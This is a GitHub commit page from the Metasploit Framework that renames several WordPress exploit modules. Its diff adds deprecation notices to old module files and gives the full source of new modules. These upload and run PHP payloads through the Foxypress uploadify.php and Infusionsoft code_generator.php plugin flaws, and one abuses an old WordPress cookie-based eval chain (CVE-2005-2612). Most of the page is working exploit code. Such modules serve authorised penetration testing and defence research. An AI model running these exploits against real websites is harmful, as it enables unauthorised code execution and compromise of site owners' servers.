Skip to content

Commit 6353154

Browse files
wvuwvu
committed
Land rapid7#4983, renamed WordPress modules
2 parents f6731f1 + e338b77 commit 6353154

10 files changed

+615
-0
lines changed

‎modules/exploits/unix/webapp/php_wordpress_foxypress.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::HTTP::Wordpress
1212
include Msf::Exploit::FileDropper
13+
include Msf::Module::Deprecated
14+
15+
deprecated(Date.new(2014, 5, 23), 'exploit/unix/webapp/wp_foxypress_upload')
1316

1417
def initialize(info = {})
1518
super(update_info(

‎modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::HTTP::Wordpress
1212
include Msf::Exploit::FileDropper
13+
include Msf::Module::Deprecated
14+
15+
deprecated(Date.new(2014, 5, 23), 'exploit/unix/webapp/wp_infusionsoft_upload')
1316

1417
def initialize(info = {})
1518
super(update_info(info,

‎modules/exploits/unix/webapp/php_wordpress_lastpost.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::Exploit::Remote::Tcp
1212
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Module::Deprecated
14+
15+
deprecated(Date.new(2014, 5, 23), 'exploit/unix/webapp/wp_lastpost_exec')
1316

1417
def initialize(info = {})
1518
super(update_info(info,

‎modules/exploits/unix/webapp/php_wordpress_optimizepress.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,9 @@ class Metasploit3 < Msf::Exploit::Remote
1111
include Msf::HTTP::Wordpress
1212
include Msf::Exploit::Remote::HttpClient
1313
include Msf::Exploit::FileDropper
14+
include Msf::Module::Deprecated
15+
16+
deprecated(Date.new(2014, 5, 23), 'exploit/unix/webapp/wp_optimizepress_upload')
1417

1518
def initialize(info = {})
1619
super(update_info(info,

‎modules/exploits/unix/webapp/php_wordpress_total_cache.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,9 @@
66
class Metasploit3 < Msf::Exploit::Remote
77
include Msf::HTTP::Wordpress
88
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Module::Deprecated
10+
11+
deprecated(Date.new(2014, 5, 23), 'exploit/unix/webapp/wp_total_cache_exec')
912

1013
Rank = ExcellentRanking
1114

‎modules/exploits/unix/webapp/wp_foxypress_upload.rb

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(
16+
info,
17+
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
18+
'Description' => %q(
19+
This module exploits an arbitrary PHP code execution flaw in the WordPress
20+
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
21+
file upload and remote code execution via the uploadify.php script. The Foxypress
22+
plug-in versions 0.4.1.1 to 0.4.2.1 are vulnerable.
23+
),
24+
'Author' =>
25+
[
26+
'Sammy FORGIT', # Vulnerability Discovery, PoC
27+
'patrick' # Metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['EDB', '18991'],
33+
['OSVDB' '82652'],
34+
['BID', '53805'],
35+
['WPVDB', '6231']
36+
],
37+
'Privileged' => false,
38+
'Platform' => 'php',
39+
'Arch' => ARCH_PHP,
40+
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
41+
'DisclosureDate' => 'Jun 05 2012',
42+
'DefaultTarget' => 0))
43+
end
44+
45+
def check
46+
res = send_request_cgi(
47+
'method' => 'GET',
48+
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
49+
)
50+
51+
return Exploit::CheckCode::Detected if res && res.code == 200
52+
53+
Exploit::CheckCode::Safe
54+
end
55+
56+
def exploit
57+
post_data = Rex::MIME::Message.new
58+
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
59+
60+
print_status("#{peer} - Sending PHP payload")
61+
62+
res = send_request_cgi(
63+
'method' => 'POST',
64+
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
65+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
66+
'data' => post_data.to_s
67+
)
68+
69+
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
70+
print_error("#{peer} - File wasn't uploaded, aborting!")
71+
return
72+
end
73+
74+
filename = "#{Regexp.last_match[1]}.php"
75+
76+
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
77+
register_files_for_cleanup(filename)
78+
res = send_request_cgi(
79+
'method' => 'GET',
80+
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
81+
)
82+
83+
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
84+
end
85+
end

‎modules/exploits/unix/webapp/wp_infusionsoft_upload.rb

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
17+
'Description' => %q{
18+
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
19+
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
20+
upload and remote code execution.
21+
},
22+
'Author' =>
23+
[
24+
'g0blin', # Vulnerability Discovery
25+
'us3r777 <[email protected]>' # Metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['CVE', '2014-6446'],
31+
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
32+
['WPVDB', '7634']
33+
],
34+
'Privileged' => false,
35+
'Platform' => 'php',
36+
'Arch' => ARCH_PHP,
37+
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
38+
'DisclosureDate' => 'Sep 25 2014',
39+
'DefaultTarget' => 0)
40+
)
41+
end
42+
43+
def check
44+
res = send_request_cgi(
45+
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
46+
)
47+
48+
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
49+
return Exploit::CheckCode::Detected
50+
end
51+
52+
Exploit::CheckCode::Safe
53+
end
54+
55+
def exploit
56+
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
57+
res = send_request_cgi({
58+
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
59+
'Infusionsoft', 'utilities', 'code_generator.php'),
60+
'method' => 'POST',
61+
'vars_post' =>
62+
{
63+
'fileNamePattern' => php_pagename,
64+
'fileTemplate' => payload.encoded
65+
}
66+
})
67+
68+
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
69+
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
70+
register_files_for_cleanup(php_pagename)
71+
else
72+
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
73+
end
74+
75+
print_status("#{peer} - Calling payload ...")
76+
send_request_cgi({
77+
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
78+
'Infusionsoft', 'utilities', php_pagename)
79+
}, 2)
80+
end
81+
82+
end

‎modules/exploits/unix/webapp/wp_lastpost_exec.rb

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
17+
'Description' => %q{
18+
This module exploits an arbitrary PHP code execution flaw in the WordPress
19+
blogging software. This vulnerability is only present when the PHP 'register_globals'
20+
option is enabled (common for hosting providers). All versions of WordPress prior to
21+
1.5.1.3 are affected.
22+
},
23+
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
['CVE', '2005-2612'],
28+
['OSVDB', '18672'],
29+
['BID', '14533'],
30+
['WPVDB', '6034']
31+
],
32+
'Privileged' => false,
33+
'Payload' =>
34+
{
35+
'DisableNops' => true,
36+
'Compat' =>
37+
{
38+
'ConnectionType' => 'find'
39+
},
40+
'Space' => 512
41+
},
42+
'Platform' => 'php',
43+
'Arch' => ARCH_PHP,
44+
'Targets' => [[ 'Automatic', { }]],
45+
'DisclosureDate' => 'Aug 9 2005',
46+
'DefaultTarget' => 0))
47+
48+
register_options(
49+
[
50+
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
51+
], self.class)
52+
end
53+
54+
def exploit
55+
56+
enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
57+
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
58+
data =
59+
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
60+
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
61+
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
62+
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
63+
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
64+
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
65+
66+
# Trigger the command execution bug
67+
res = send_request_cgi({
68+
'uri' => normalize_uri(datastore['URI']),
69+
'cookie' => data
70+
}, 25)
71+
72+
if (res)
73+
print_status("The server returned: #{res.code} #{res.message}")
74+
else
75+
print_status("No response from the server")
76+
end
77+
end
78+
79+
end

0 commit comments

Comments
 (0)